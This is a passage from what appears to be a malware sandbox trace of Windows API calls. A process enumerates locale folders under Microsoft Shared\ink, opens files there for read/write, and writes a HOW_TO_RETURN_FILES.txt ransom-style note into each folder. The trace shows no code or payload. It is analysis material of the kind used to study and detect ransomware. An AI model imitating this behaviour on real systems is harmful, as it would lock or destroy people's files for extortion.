lpUsedDefaultChar=0x37df4c) returned 19 [0094.685] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.685] AreFileApisANSI () returned 1 [0094.685] GetACP () returned 0x4e4 [0094.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="cs-CZ", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="cs-CZrtInkStore.exe", lpUsedDefaultChar=0x37df4c) returned 5 [0094.685] AreFileApisANSI () returned 1 [0094.685] GetACP () returned 0x4e4 [0094.685] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\") returned 57 [0094.686] AreFileApisANSI () returned 1 [0094.686] GetACP () returned 0x4e4 [0094.686] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0094.686] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.686] AreFileApisANSI () returned 1 [0094.686] GetACP () returned 0x4e4 [0094.686] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0094.686] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.686] AreFileApisANSI () returned 1 [0094.686] GetACP () returned 0x4e4 [0094.686] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0094.686] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.686] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 0 [0094.686] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0094.686] AreFileApisANSI () returned 1 [0094.686] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0094.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0094.687] GetFileType (hFile=0x130) returned 0x1 [0094.687] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.687] AreFileApisANSI () returned 1 [0094.687] GetACP () returned 0x4e4 [0094.688] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="da-DK", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="da-DK", lpUsedDefaultChar=0x37df4c) returned 5 [0094.688] AreFileApisANSI () returned 1 [0094.688] GetACP () returned 0x4e4 [0094.688] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\j\x04") returned 57 [0094.688] AreFileApisANSI () returned 1 [0094.688] GetACP () returned 0x4e4 [0094.688] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0094.688] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.688] AreFileApisANSI () returned 1 [0094.688] GetACP () returned 0x4e4 [0094.688] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0094.688] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.688] AreFileApisANSI () returned 1 [0094.688] GetACP () returned 0x4e4 [0094.688] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0094.688] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.688] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 0 [0094.688] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0094.688] AreFileApisANSI () returned 1 [0094.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0094.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0094.689] GetFileType (hFile=0x130) returned 0x1 [0094.690] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.690] AreFileApisANSI () returned 1 [0094.690] GetACP () returned 0x4e4 [0094.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="de-DE", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="de-DE", lpUsedDefaultChar=0x37df4c) returned 5 [0094.690] AreFileApisANSI () returned 1 [0094.690] GetACP () returned 0x4e4 [0094.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\j\x04") returned 57 [0094.691] AreFileApisANSI () returned 1 [0094.691] GetACP () returned 0x4e4 [0094.691] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0094.691] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.691] AreFileApisANSI () returned 1 [0094.691] GetACP () returned 0x4e4 [0094.691] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0094.691] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.691] AreFileApisANSI () returned 1 [0094.691] GetACP () returned 0x4e4 [0094.691] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0094.691] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.692] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 0 [0094.692] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0094.692] AreFileApisANSI () returned 1 [0094.692] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0094.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0094.693] GetFileType (hFile=0x130) returned 0x1 [0094.694] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.694] AreFileApisANSI () returned 1 [0094.694] GetACP () returned 0x4e4 [0094.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="el-GR", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="el-GR", lpUsedDefaultChar=0x37df4c) returned 5 [0094.694] AreFileApisANSI () returned 1 [0094.694] GetACP () returned 0x4e4 [0094.694] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\j\x04") returned 57 [0094.695] AreFileApisANSI () returned 1 [0094.695] GetACP () returned 0x4e4 [0094.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0094.695] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.695] AreFileApisANSI () returned 1 [0094.695] GetACP () returned 0x4e4 [0094.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0094.695] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.695] AreFileApisANSI () returned 1 [0094.695] GetACP () returned 0x4e4 [0094.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0094.695] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.695] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 0 [0094.696] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0094.696] AreFileApisANSI () returned 1 [0094.696] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0094.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0094.696] GetFileType (hFile=0x130) returned 0x1 [0094.697] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0094.697] AreFileApisANSI () returned 1 [0094.697] GetACP () returned 0x4e4 [0094.697] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x37df4c) returned 5 [0094.697] AreFileApisANSI () returned 1 [0094.697] GetACP () returned 0x4e4 [0094.697] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\j\x04") returned 57 [0094.699] AreFileApisANSI () returned 1 [0094.699] GetACP () returned 0x4e4 [0094.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0094.699] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.699] AreFileApisANSI () returned 1 [0094.699] GetACP () returned 0x4e4 [0094.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0094.699] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.699] AreFileApisANSI () returned 1 [0094.699] GetACP () returned 0x4e4 [0094.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="boxed-correct.avi", cchWideChar=17, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="boxed-correct.avif47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 17 [0094.700] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.778] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.778] AreFileApisANSI () returned 1 [0094.778] GetACP () returned 0x4e4 [0094.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="boxed-delete.avi", cchWideChar=16, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="boxed-delete.avii", lpUsedDefaultChar=0x37dec0) returned 16 [0094.778] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.782] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.782] AreFileApisANSI () returned 1 [0094.782] GetACP () returned 0x4e4 [0094.782] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="boxed-join.avi", cchWideChar=14, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="boxed-join.avivi", lpUsedDefaultChar=0x37dec0) returned 14 [0094.782] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.782] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.782] AreFileApisANSI () returned 1 [0094.782] GetACP () returned 0x4e4 [0094.782] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="boxed-split.avi", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="boxed-split.avii", lpUsedDefaultChar=0x37dec0) returned 15 [0094.782] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.782] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.783] AreFileApisANSI () returned 1 [0094.783] GetACP () returned 0x4e4 [0094.783] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="correct.avi", cchWideChar=11, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="correct.avi.avi", lpUsedDefaultChar=0x37dec0) returned 11 [0094.783] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.783] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.783] AreFileApisANSI () returned 1 [0094.783] GetACP () returned 0x4e4 [0094.783] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="delete.avi", cchWideChar=10, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="delete.avii", lpUsedDefaultChar=0x37dec0) returned 10 [0094.783] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.784] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.784] AreFileApisANSI () returned 1 [0094.784] GetACP () returned 0x4e4 [0094.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FlickLearningWizard.exe.mui", cchWideChar=27, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="FlickLearningWizard.exe.muiw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 27 [0094.784] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.794] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.794] AreFileApisANSI () returned 1 [0094.794] GetACP () returned 0x4e4 [0094.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InkObj.dll.mui", cchWideChar=14, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="InkObj.dll.muiizard.exe.mui", lpUsedDefaultChar=0x37dec0) returned 14 [0094.794] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.794] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.794] AreFileApisANSI () returned 1 [0094.794] GetACP () returned 0x4e4 [0094.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InkWatson.exe.mui", cchWideChar=17, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="InkWatson.exe.muird.exe.mui", lpUsedDefaultChar=0x37dec0) returned 17 [0094.794] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.795] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.795] AreFileApisANSI () returned 1 [0094.795] GetACP () returned 0x4e4 [0094.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InputPersonalization.exe.mui", cchWideChar=28, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="InputPersonalization.exe.mui9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 28 [0094.795] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.808] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.808] AreFileApisANSI () returned 1 [0094.808] GetACP () returned 0x4e4 [0094.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IPSEventLogMsg.dll.mui", cchWideChar=22, lpMultiByteStr=0x6b7af4, cbMultiByte=260, 